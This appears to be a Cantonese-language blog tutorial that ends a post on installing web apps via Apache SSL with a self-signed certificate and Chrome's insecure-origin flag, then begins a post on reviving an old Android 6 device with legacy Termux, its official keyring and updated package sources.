<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUHGLQ-Dfb7xXkY2t-6WsIA-HC8OGU99n4YkuNqZW_OY0vib2BJtye0rpHNK902CSEbVxxZKLRnh5DVA9mPU1YkFpoNCp9U48ZxkAQF_P-tNWrX7dtdzCMvtsurSRXbwL13pY0fi75kTGPZyM86-b9l2on_Xt0cjk8BtWwHBQWZKRkbe28-My_TGwr/w0/installable-web-app-039.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUHGLQ-Dfb7xXkY2t-6WsIA-HC8OGU99n4YkuNqZW_OY0vib2BJtye0rpHNK902CSEbVxxZKLRnh5DVA9mPU1YkFpoNCp9U48ZxkAQF_P-tNWrX7dtdzCMvtsurSRXbwL13pY0fi75kTGPZyM86-b9l2on_Xt0cjk8BtWwHBQWZKRkbe28-My_TGwr/w600/installable-web-app-039.png"/></a></div>
<div>Apache網頁伺服器 預設未啟動 SSL服務<br/>
直接使用 https:// 到網頁伺服器只會出現錯誤</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhs7dZGYIOcKjz2plcV5kSZLLty-cPy5uY_XUQfMu7IGxycSzl297wixeyyfv-Qj12l8gW8W2IxoJyBAZkTGgdeuDrnzO68oyxld5oiw_obFlCxZbt8S3DqFMV43qVO_8MNk5avmCe5KiW1EIKBUuP1aT-JRJcezHuxaga9O_JHLR--uOSCc7mwDOp/w0/installable-web-app-040.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhs7dZGYIOcKjz2plcV5kSZLLty-cPy5uY_XUQfMu7IGxycSzl297wixeyyfv-Qj12l8gW8W2IxoJyBAZkTGgdeuDrnzO68oyxld5oiw_obFlCxZbt8S3DqFMV43qVO_8MNk5avmCe5KiW1EIKBUuP1aT-JRJcezHuxaga9O_JHLR--uOSCc7mwDOp/w600/installable-web-app-040.png"/></a></div>
<div>在 Terminal 輸入
<pre class="brush:bash">sudo a2enmod ssl
sudo service apache2 restart</pre>
令 Apache網頁伺服器 啟動 SSL服務</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig8gRGow45JmVnrp9clEJvqgcr7bC5OylC6mToC-9qXxtxTVnV1GElnvEPPHC_qF0O8j7Wy6qSIkZqtqT6caU75kq7yQ_hAWkQcjl4W_nwSn_lrTOdMTi3ppqPH2TK_2yGYYX-INul3HF0dIKHIqEOUSmR4S2Ojmq6X0IXLjPqs1Sg1KwKm1IO3laE/w0/installable-web-app-041.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEig8gRGow45JmVnrp9clEJvqgcr7bC5OylC6mToC-9qXxtxTVnV1GElnvEPPHC_qF0O8j7Wy6qSIkZqtqT6caU75kq7yQ_hAWkQcjl4W_nwSn_lrTOdMTi3ppqPH2TK_2yGYYX-INul3HF0dIKHIqEOUSmR4S2Ojmq6X0IXLjPqs1Sg1KwKm1IO3laE/w600/installable-web-app-041.png"/></a></div>
<div>雖然 SSL服務 已經啟動,但網頁卻顯示 ERR_SSL_PROTOCOL_ERROR 錯誤</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_bEIrOYFZwwG03UDFAKjZ4IVpLxxxFyUNVXUv8xZ_gqMWX9ihBFuHCwKqsLk0ZqqRC3srva0cpZ-MgA1gJYLIO0jb-1ItuMpzthVF4yyHgYc6GrQPkeNVeJL3jOrH2cDWcQ0IhIlc6Z8oKIVQwfAibhvv7WqWsFOkqOASCmOTlS8BpNIz42__Ycd6/w0/installable-web-app-042.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_bEIrOYFZwwG03UDFAKjZ4IVpLxxxFyUNVXUv8xZ_gqMWX9ihBFuHCwKqsLk0ZqqRC3srva0cpZ-MgA1gJYLIO0jb-1ItuMpzthVF4yyHgYc6GrQPkeNVeJL3jOrH2cDWcQ0IhIlc6Z8oKIVQwfAibhvv7WqWsFOkqOASCmOTlS8BpNIz42__Ycd6/w600/installable-web-app-042.png"/></a></div>
<div>翻查資料後,還需要指定位於 /etc/apache2/sites-enabled 的 SSL設定檔, Terminal 輸入
<pre class="brush:bash">sudo a2ensite default-ssl.conf
sudo service apache2 restart</pre>
令 Apache網頁伺服器 依從指定的 SSL設定檔 啟動</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqSbWqrweUwExkJnSfDLlHo9aVyMJfBp8cURhdf81v_Kqv9Wi6iSTjmV4nCBLkfEsowy43-EAbvcLPLBe2IQqEQjiMQV_BL1w3EQl5w4w2aud3RBxvhHtaAVHXxFYVFJFJEOWKBR_PDITxL2XJLay15tROX3fJahS98o1GKW69sMiv0ACcqY8HIACr/w0/installable-web-app-043.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqSbWqrweUwExkJnSfDLlHo9aVyMJfBp8cURhdf81v_Kqv9Wi6iSTjmV4nCBLkfEsowy43-EAbvcLPLBe2IQqEQjiMQV_BL1w3EQl5w4w2aud3RBxvhHtaAVHXxFYVFJFJEOWKBR_PDITxL2XJLay15tROX3fJahS98o1GKW69sMiv0ACcqY8HIACr/w600/installable-web-app-043.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzVWd_xWyhB6Db2YaizUpJLWXn2InI0Pu1izmefj1nTvg5WQIytOjez2hD2Nk3KBJ15S71lacB_mLfrijlpRpLPDvZRWRgN50uHl387W7A7hGAxtD_Rk32sMKYGmcKnFZJ8Af2h9bLvVFMB4dPij9DpybesmrluThjFhmHaxPiHZLhM_RcGo6y-im6/w0/installable-web-app-044.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzVWd_xWyhB6Db2YaizUpJLWXn2InI0Pu1izmefj1nTvg5WQIytOjez2hD2Nk3KBJ15S71lacB_mLfrijlpRpLPDvZRWRgN50uHl387W7A7hGAxtD_Rk32sMKYGmcKnFZJ8Af2h9bLvVFMB4dPij9DpybesmrluThjFhmHaxPiHZLhM_RcGo6y-im6/w600/installable-web-app-044.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTTVtx0A4x9c0JV29uUaf9CY5dII7Q5Vuqyl6VbaEnbIC8RB2UG6rYxS7yoiAk81mrcWoKcxvKqz8wRR1w1aUNu4mIJReJ4Fo79-WICTYnbCo8IIOtoGPEGcib3qKcRGapO8Njf4kOSalTykZd5u0tiGY9oiL_oHZY-YK4zn0K4tyJ-vI4CLpuGxdU/w0/installable-web-app-045.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTTVtx0A4x9c0JV29uUaf9CY5dII7Q5Vuqyl6VbaEnbIC8RB2UG6rYxS7yoiAk81mrcWoKcxvKqz8wRR1w1aUNu4mIJReJ4Fo79-WICTYnbCo8IIOtoGPEGcib3qKcRGapO8Njf4kOSalTykZd5u0tiGY9oiL_oHZY-YK4zn0K4tyJ-vI4CLpuGxdU/w600/installable-web-app-045.png"/></a></div>
<div>重新整理網頁,由於使用自簽SSL證書,沒有經過驗證,因此會被認為是不安全證書<br/>
按 繼續前往 ,便可以顯示網頁內容<br/>
(如果其他網站的 SSL證書沒有經過驗認,便不要胡亂按 繼續前往)</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXixLhL3ceQct6zZTDlanyJdP-wBlHtcoCgZZWgadb3On-vO10cuQwjilz_nG0iShAHarI3Ri7WJFLYk9XL6hYz4-jQxBcu6TX5bUfPpPX6L6s2YGozxUg080JoXkPIsraSTme6tkqttCw2Y-APpGtjbXcVY_7BJkEJRvKGSxT838iHFNCiyqsyD3V/w0/installable-web-app-046.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXixLhL3ceQct6zZTDlanyJdP-wBlHtcoCgZZWgadb3On-vO10cuQwjilz_nG0iShAHarI3Ri7WJFLYk9XL6hYz4-jQxBcu6TX5bUfPpPX6L6s2YGozxUg080JoXkPIsraSTme6tkqttCw2Y-APpGtjbXcVY_7BJkEJRvKGSxT838iHFNCiyqsyD3V/w600/installable-web-app-046.png"/></a></div>
<div>由於 自簽SSL證書 未經過驗認,因此即使能夠顯示網頁內容,但卻無法安裝網頁應用程式</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgmDk_sRFBBoLDX2PEkHRh8bVX1yxh9Tfz6iMoWM-y8gn5EXtJcxBpJLC57wZj-sUAXHf_n6lif-9bLZIwtzIMjkjQE21Hx20KEa8zNQYtRtpGZ4IPOPjU1xs2kfCyh-cGJha0VCwkJ3Sv0ILgXrQhxE_2ln8HGOS8edFUhLRMt0Dy40Ir6w_aGHzW/w0/installable-web-app-047.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgmDk_sRFBBoLDX2PEkHRh8bVX1yxh9Tfz6iMoWM-y8gn5EXtJcxBpJLC57wZj-sUAXHf_n6lif-9bLZIwtzIMjkjQE21Hx20KEa8zNQYtRtpGZ4IPOPjU1xs2kfCyh-cGJha0VCwkJ3Sv0ILgXrQhxE_2ln8HGOS8edFUhLRMt0Dy40Ir6w_aGHzW/w600/installable-web-app-047.png"/></a></div>
<div>如果仍然需要安裝網頁應用程式到 Android<br/>
在 Chrome 的網址列輸入 <a href="chrome://flags">chrome://flags</a> 並前往<br/>
在搜尋列輸入 insecure origins<br/>
在文字欄位中輸入需要設定為例外的 IP 或 域名 ,並在選取 Enable<br/>
再按 Relaunch 重新啟動 Chrome</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5ZABAunQBS8ihMqrGNKGywli84fO2mNhjIc9Wrh_JLMyej9iAscuJmBeo6vmqFo7xUMooHPP86u6rLnCSQDssl7fCQUxpdzkHBu-1VXj5ev0wzzvWdlrnEVI7FHQ0ASIcx9hL9aDa66_DqrwO24bM0Xzvd0gVwbcJhuipSOOi9OsaKgSgOY-15QIw/w0/installable-web-app-048.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5ZABAunQBS8ihMqrGNKGywli84fO2mNhjIc9Wrh_JLMyej9iAscuJmBeo6vmqFo7xUMooHPP86u6rLnCSQDssl7fCQUxpdzkHBu-1VXj5ev0wzzvWdlrnEVI7FHQ0ASIcx9hL9aDa66_DqrwO24bM0Xzvd0gVwbcJhuipSOOi9OsaKgSgOY-15QIw/w600/installable-web-app-048.png"/></a></div>
<div>列為不安全例外的 IP 或 域名 的網頁應用程式都能夠安裝</div>
<br/>
<a name="總結"></a><h4 class="mra-h4">總結</h4>
<div>使用這種方法便可以不需要編寫 Android 應用程式,亦可以製作模擬應用程式的操作</div>
<br/>
<div>當遇到一些網頁應用程式沒有製作成可以安裝的設計<br/>
閣下亦可以使用 frameset 或 iframe 之類,包裝成內嵌網頁到自己的網頁伺服器中<br/>
便可以隨意製作個人的網頁應用程式集合</div>
<br/>
<a name="參考資料"></a><h4 class="mra-h4">參考資料</h4>
<div>
<ul>
<li><a href="https://developer.mozilla.org/zh-TW/docs/Web/Manifest">Web App Manifest</a></li>
</ul>
</div>HKGoldenMr.Ahttp://www.blogger.com/profile/03544013074844149004noreply@blogger.com0tag:blogger.com,1999:blog-4749999961332526255.post-86060980086094514312023-05-22T10:48:00.000+08:002023-05-22T10:48:06.958+08:00將 Android 裝置當作 IOT 裝置<div>過去在下曾將 Android 裝置當作伺服器使用<br/>
雖然效果不及正式的工具(例如 Raspberry Pi 及 NAS)<br/>
但作為既有工具,如果不轉售,當作後備裝置使用,亦可以強化其功能<br/>
只當作伺服器使用,又好像未完全發揮功能,因此在下再嘗試更多可能性</div>
<a name='more'></a>
<div class="mra-index">
<ul>
<li><a href="#安裝Termux到Android6-">安裝 Termux 到 Android 6-</a></li>
<li><a href="#安裝Apache及PHP到Termux">安裝 Apache 及 PHP 到 Termux</a></li>
<li><a href="#安裝TermuxAPI">安裝 Termux:API</a></li>
<li><a href="#製作HTTP伺服器">製作 HTTP伺服器</a></li>
<li><a href="#編寫Android應用程式">編寫 Android 應用程式</a></li>
<li><a href="#建立APK檔案及安裝">建立 APK 檔案及安裝</a></li>
<li><a href="#使用ADB安裝及執行">使用 ADB 安裝及執行</a></li>
<li><a href="#指派不同HTTP請求">指派不同 HTTP請求</a></li>
<li><a href="#製作操作界面">製作操作界面</a></li>
<li><a href="#補充資料">補充資料</a></li>
<li><a href="#總結">總結</a></li>
<li><a href="#參考資料">參考資料</a></li>
</ul>
</div>
<a name="安裝Termux到Android6-"></a><h4 class="mra-h4">安裝 Termux 到 Android 6-</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEi1MXHGmkj9Zcs53C5q2VvjK6DvxwYVXUCTDlraVd8gsCaZI1i6Kd84gAxEV8PN3T6SELGnWg2aExyfL7DO3OMRCsVA5w3x4F_0OWop48iGq4retUZX6mBKiIFGnWIJwl5DkLomvWxO37kyi6223i80WjoAOKgUbDyP0vd0CZPUaw605DqWdPc-uU/w0/android-as-iot-001.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEi1MXHGmkj9Zcs53C5q2VvjK6DvxwYVXUCTDlraVd8gsCaZI1i6Kd84gAxEV8PN3T6SELGnWg2aExyfL7DO3OMRCsVA5w3x4F_0OWop48iGq4retUZX6mBKiIFGnWIJwl5DkLomvWxO37kyi6223i80WjoAOKgUbDyP0vd0CZPUaw605DqWdPc-uU/w600/android-as-iot-001.png"/></a></div>
<div>由於在下使用較舊的 Android 裝置,雖然能夠安裝 Termux ,但新版的 Termux 需要在 <span class="mra-highlighter">Android 7+</span> 才能使用<br/>
另外 Termux 需要 <span class="mra-highlighter">下載 bootstrap</span> 才能啟動,而舊版的 Termux 會從 termux.net 下載,但 termux.net 已經失效<br/>
因此即使 <span class="mra-highlighter">Android 6-</span> 的裝置即使自行下載 apk 安裝舊版 Termux 仍然無法使用</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie_GlbN_qIu9K7QM6RsjamkqwDiqotSULTtqTDRtupHeH1Up2RC76m1-vCqmKNq8xMDtS6ThCZWMioDHLda-P__2owNnSr3G5Ii2JExiGSKnZAss7OlSGCbVeHe7wu4gIOJq4cgdhM6U-zNRrS7JT-LDwS0jUAcdd8-BIzcQHEtcvyIWcLU-I6d-2E/w0/android-as-iot-002.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEie_GlbN_qIu9K7QM6RsjamkqwDiqotSULTtqTDRtupHeH1Up2RC76m1-vCqmKNq8xMDtS6ThCZWMioDHLda-P__2owNnSr3G5Ii2JExiGSKnZAss7OlSGCbVeHe7wu4gIOJq4cgdhM6U-zNRrS7JT-LDwS0jUAcdd8-BIzcQHEtcvyIWcLU-I6d-2E/w600/android-as-iot-002.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTYbGcI7rug_LT6ZJBK9pc8dvg9-cwGpnKJb3RxjKkLa6Avrxg852abGhgC92sJrBbualXJW-DNa6IW4jx_xBhBNX4fuZyO13twtkfmI-SeKSYg2v58auHOrA35pGV42_hLXFqeII1QXsRazrX2WqYB334vy1ghYV1wdrHUSpAk7glQ8cWy8CtsiHy/w0/android-as-iot-003.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhTYbGcI7rug_LT6ZJBK9pc8dvg9-cwGpnKJb3RxjKkLa6Avrxg852abGhgC92sJrBbualXJW-DNa6IW4jx_xBhBNX4fuZyO13twtkfmI-SeKSYg2v58auHOrA35pGV42_hLXFqeII1QXsRazrX2WqYB334vy1ghYV1wdrHUSpAk7glQ8cWy8CtsiHy/w600/android-as-iot-003.png"/></a></div>
<div>要將 Termux 安裝到 Android 6- 的裝置<br/>
要到 <a href="https://archive.org/download/termux-repositories-legacy">https://archive.org/download/termux-repositories-legacy</a> 可以下載支援 Android 6- 的 Termux<br/>
而且 <span class="mra-highlighter">內建 bootstrap</span> ,還有 Termux 的輔助套件</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTTicfCH0I0bLj9yhQZnl9HHdFM73PK7cycDhf-WytRVwL0oNSPk9UW8Vl0ognljWIS_G-df2NBC9CBXJb3H9IndI6lCmTMEqEbc1yKAiZVO0Z19gt8rAYhDZZ03lZp981RMlwhMrm2v4U8oJe6SGdy4Oo-qDtA1ZeZx_rR5swlsOOjzXi3PEHuLGA/w0/android-as-iot-004.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiTTicfCH0I0bLj9yhQZnl9HHdFM73PK7cycDhf-WytRVwL0oNSPk9UW8Vl0ognljWIS_G-df2NBC9CBXJb3H9IndI6lCmTMEqEbc1yKAiZVO0Z19gt8rAYhDZZ03lZp981RMlwhMrm2v4U8oJe6SGdy4Oo-qDtA1ZeZx_rR5swlsOOjzXi3PEHuLGA/w600/android-as-iot-004.png"/></a></div>
<div>由於自行下載及安裝 <span class="mra-highlighter">APK檔案</span> 有安全風險, Android 會提出安全警告</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPDM_KieEVfo4gfU8zKPs1pobm1YgMi2vRXbeSpPFVvBMHZ3zW1plmUpBxTNB3ck5EVQ-dTL_hezZKvG9E_Uv0CZY1aCXNSDlCvE1uvhwAMIF5vyL6k_i2Kv8JsZqFJnieiDGjwf66f6gMGZCdF-RdnD9WRT6GQWv_Nj2sSjir2SUajZVQ5zIXK34d/w0/android-as-iot-005.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPDM_KieEVfo4gfU8zKPs1pobm1YgMi2vRXbeSpPFVvBMHZ3zW1plmUpBxTNB3ck5EVQ-dTL_hezZKvG9E_Uv0CZY1aCXNSDlCvE1uvhwAMIF5vyL6k_i2Kv8JsZqFJnieiDGjwf66f6gMGZCdF-RdnD9WRT6GQWv_Nj2sSjir2SUajZVQ5zIXK34d/w600/android-as-iot-005.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK_SUuuTizZfGhOo-mQrdpT6Twdq6tf48JrFmnz8FwE7CNi5lGqSvxlw1JISdn8ghjUERIpt27jmzmAtnmV2kJ7Q8Grj3D5yV4i5YV-qD5U7VCZMfxcpw-u1-SiExU47ChQc2SQSzN3vkhYRHlV9Z0yvZ8_UeMqFOeveoaeluoorZh5imC3u-OecH5/w0/android-as-iot-006.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiK_SUuuTizZfGhOo-mQrdpT6Twdq6tf48JrFmnz8FwE7CNi5lGqSvxlw1JISdn8ghjUERIpt27jmzmAtnmV2kJ7Q8Grj3D5yV4i5YV-qD5U7VCZMfxcpw-u1-SiExU47ChQc2SQSzN3vkhYRHlV9Z0yvZ8_UeMqFOeveoaeluoorZh5imC3u-OecH5/w600/android-as-iot-006.png"/></a></div>
<div>選取 <span class="mra-highlighter">未知的來源</span> ,並 <span class="mra-highlighter">確定</span> 同意安全風險</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwlt9lK89W2182SjH3U4nhiqLwNleVNjHtN0aqcilxHWbh4L1s6MvsQMByEuFo-NSvosJ2Wqrj7FFOzycafrRmst08Y-S7ozqavR7jatPDSlY84cgrd8A4Gmmsfs0Gm26yfxFLyJV0PWGCHbRUVw4lfrq9PO9u1in7j2x5vieN2jyenfGXYKbYPHaA/w0/android-as-iot-007.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwlt9lK89W2182SjH3U4nhiqLwNleVNjHtN0aqcilxHWbh4L1s6MvsQMByEuFo-NSvosJ2Wqrj7FFOzycafrRmst08Y-S7ozqavR7jatPDSlY84cgrd8A4Gmmsfs0Gm26yfxFLyJV0PWGCHbRUVw4lfrq9PO9u1in7j2x5vieN2jyenfGXYKbYPHaA/w600/android-as-iot-007.png"/></a></div>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbO_a-8Q-qNNkaG5OxeQqAvR2KTdQDtG1nCVu8mvtUIk3MBNeoT7KQzBtPL_Upnh5nS927hYSKrzPVaJC1LpNgYTdOw8tmNxOs5RUyhfVFm0t1r5rxzAfnSw1DHJixEQgNPpar1TrS-_-Sko1NZvin5mLm-gMy3M64mvv7IxZLWpVkEu-CZrjZT0WV/w0/android-as-iot-008.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbO_a-8Q-qNNkaG5OxeQqAvR2KTdQDtG1nCVu8mvtUIk3MBNeoT7KQzBtPL_Upnh5nS927hYSKrzPVaJC1LpNgYTdOw8tmNxOs5RUyhfVFm0t1r5rxzAfnSw1DHJixEQgNPpar1TrS-_-Sko1NZvin5mLm-gMy3M64mvv7IxZLWpVkEu-CZrjZT0WV/w600/android-as-iot-008.png"/></a></div>
<div>便可以安裝 Termux</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxAbfe30o2t0M8g9fUSZS_AkJ1eQGkGscf3XndQ895DQmXotkAbGGAlJToG9jpAmLeym9ScmFoQwSgcGB2nHve-3M6Hw_qnciLszdif64xNEtMYqDmyh63HNHi3tYfuj2b9bLmU01enEHZqBC027vz_fiuA5apt-TC6Dpry-W-j4BKOcjuRv3BoIr1/w0/android-as-iot-009.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxAbfe30o2t0M8g9fUSZS_AkJ1eQGkGscf3XndQ895DQmXotkAbGGAlJToG9jpAmLeym9ScmFoQwSgcGB2nHve-3M6Hw_qnciLszdif64xNEtMYqDmyh63HNHi3tYfuj2b9bLmU01enEHZqBC027vz_fiuA5apt-TC6Dpry-W-j4BKOcjuRv3BoIr1/w600/android-as-iot-009.png"/></a></div>
<div>完成安裝後可以立即開啟 Termux</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgsqDSZnFCYXkPOklMsTtboRE4Ls5HEc3FPDWWEW2NymFqmLEYVdIsqWzkbMlpxHEAssDvH57B1vLli-FwU_g0h1PyYk3y0pD-IeW334gb22RjL59TKUxqp2vxUoN1Vw01GOWfp41Z1cdnqsFzUDZNhWL01Ej_xwugC0CvW1H3yIJpyLaGDoI3zwQd/w0/android-as-iot-010.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgsqDSZnFCYXkPOklMsTtboRE4Ls5HEc3FPDWWEW2NymFqmLEYVdIsqWzkbMlpxHEAssDvH57B1vLli-FwU_g0h1PyYk3y0pD-IeW334gb22RjL59TKUxqp2vxUoN1Vw01GOWfp41Z1cdnqsFzUDZNhWL01Ej_xwugC0CvW1H3yIJpyLaGDoI3zwQd/w600/android-as-iot-010.png"/></a></div>
<div>雖然內建 bootstrap ,仍然需要時間安裝 bootstrap</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlVoxnVbzuPeEkydTBjX9gXOFFznw_0mTCtnDfgbVgQiSPcrW962DOZ9iA_gt9fLKhofvyUra6QTF_xxs8h8Da6e7JCoDwi4MP3F8Sm-B13kZocytwE2ZvtPrMW4ez_ZLvE5LIedCaS2xQDZbt1M8jRxBufhnv_cfvuM9DhtW51AfqiRzXHPLJdide/w0/android-as-iot-011.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlVoxnVbzuPeEkydTBjX9gXOFFznw_0mTCtnDfgbVgQiSPcrW962DOZ9iA_gt9fLKhofvyUra6QTF_xxs8h8Da6e7JCoDwi4MP3F8Sm-B13kZocytwE2ZvtPrMW4ez_ZLvE5LIedCaS2xQDZbt1M8jRxBufhnv_cfvuM9DhtW51AfqiRzXHPLJdide/w600/android-as-iot-011.png"/></a></div>
<div>與一般 Termux 的開始畫面相同</div>
<br/>
<a name="安裝Apache及PHP到Termux"></a><h4 class="mra-h4">安裝 Apache 及 PHP 到 Termux</h4>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlhj4JTQnOzQIz_TaYCdc7ZL2mLaPSGzBAhE1QGm0Pb621rW5jLBq-Hk58uxqt6j0mDI6U4aBPDRj15seSUU_u4xKmZDGGUsc3fEWAohGOKP0mtHgKVu1TlJfU-k11i4oU6j61qxIz67KMnINS7z4hlnjvpyZpyD71QhEzedVQOVlCpa3O4VuBHb--/w0/android-as-iot-012.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlhj4JTQnOzQIz_TaYCdc7ZL2mLaPSGzBAhE1QGm0Pb621rW5jLBq-Hk58uxqt6j0mDI6U4aBPDRj15seSUU_u4xKmZDGGUsc3fEWAohGOKP0mtHgKVu1TlJfU-k11i4oU6j61qxIz67KMnINS7z4hlnjvpyZpyD71QhEzedVQOVlCpa3O4VuBHb--/w600/android-as-iot-012.png"/></a></div>
<div>但由於剛才提及 termux.net 已經失效,當輸入<br/>
<pre class="brush:bash">pkg update</pre>
會顯示無法找到套件庫的資料</div>
<br/>
<div>雖然可以從 新版 Termux 的套件庫 <a href="https://packages.termux.dev/apt">https://packages.termux.dev/apt</a> 直接下載及安裝套件<br/>
但每次都要手動下載、安裝、升級,會非常浪費時間<br/>
而且無法根據相依性自動下載相關套件同樣是麻煩</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIBDIFEhf1RVRhBclnnhlhUARrvdvJV8yCyv5LpvTqwgH8sKRe0l6qs8dCyRID5gXKLBqt9u-gGhOKWLcOFdOhs2e57_Iu26mqIPglx0FntryQ50iKefNryyQgi6cEIVSMA7itFLg4anuhHOFJR_nzFxXoq1VtbDbVhOLNgQwTDjfZMWGzjOy06lnZ/w0/android-as-iot-013.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIBDIFEhf1RVRhBclnnhlhUARrvdvJV8yCyv5LpvTqwgH8sKRe0l6qs8dCyRID5gXKLBqt9u-gGhOKWLcOFdOhs2e57_Iu26mqIPglx0FntryQ50iKefNryyQgi6cEIVSMA7itFLg4anuhHOFJR_nzFxXoq1VtbDbVhOLNgQwTDjfZMWGzjOy06lnZ/w600/android-as-iot-013.png"/></a></div>
<div>令舊版 Termux 使用新版 Termux 的套件庫,除了套件來源,還需要受信任的 <span class="mra-highlighter">GPG簽署</span><br/>
先手動下載 <a href="https://packages.termux.dev/apt/termux-main/pool/main/t/termux-keyring/termux-keyring_3.11_all.deb">新版 Termux 套件庫的 GPG簽署</a><br/>
輸入<br/>
<pre class="brush:bash">file="termux-keyring_3.11_all.deb"
curl "https://packages.termux.dev/apt/termux-main/pool/main/t/termux-keyring/${file}" >"${file}"
dpkg -i "${file}"
rm "${file}"</pre>
</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7fUonBtCFWxl9DVRjjd7tcIryZcbNdtKpfvmQjCjfGaXlCDuYlHs7OiXCZ4mPnVOfFo9MijQB65QGfCRrUIZ8zZuBNnIrgywQ7nKS62zfT8bdjCiM_uFojzYfLgJSAGH5hccfWkStPiKpFa0nc9ZIiJ_c2e-BAJ0rc0A9KRbb7ZSen8IQ6-E0gdg4/w0/android-as-iot-014.png"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7fUonBtCFWxl9DVRjjd7tcIryZcbNdtKpfvmQjCjfGaXlCDuYlHs7OiXCZ4mPnVOfFo9MijQB65QGfCRrUIZ8zZuBNnIrgywQ7nKS62zfT8bdjCiM_uFojzYfLgJSAGH5hccfWkStPiKpFa0nc9ZIiJ_c2e-BAJ0rc0A9KRbb7ZSen8IQ6-E0gdg4/w600/android-as-iot-014.png"/></a></div>
<div>更新 Termux 套件庫的來源,輸入<br/>
<pre class="brush:bash">apt_path="${PREFIX}/etc/apt"
printf "deb https://packages.termux.dev/apt/termux-main-21 stable main" >"${apt_path}/sources.list"
printf "deb https://termux.dev/science-packages-21-bin science stable" >"${apt_path}/sources.list.d/science.list"
printf "deb https://termux.dev/game-packages-21-bin games stable" >"${apt_path}/sources.list.d/game.list"</pre>
</div>
<br/>
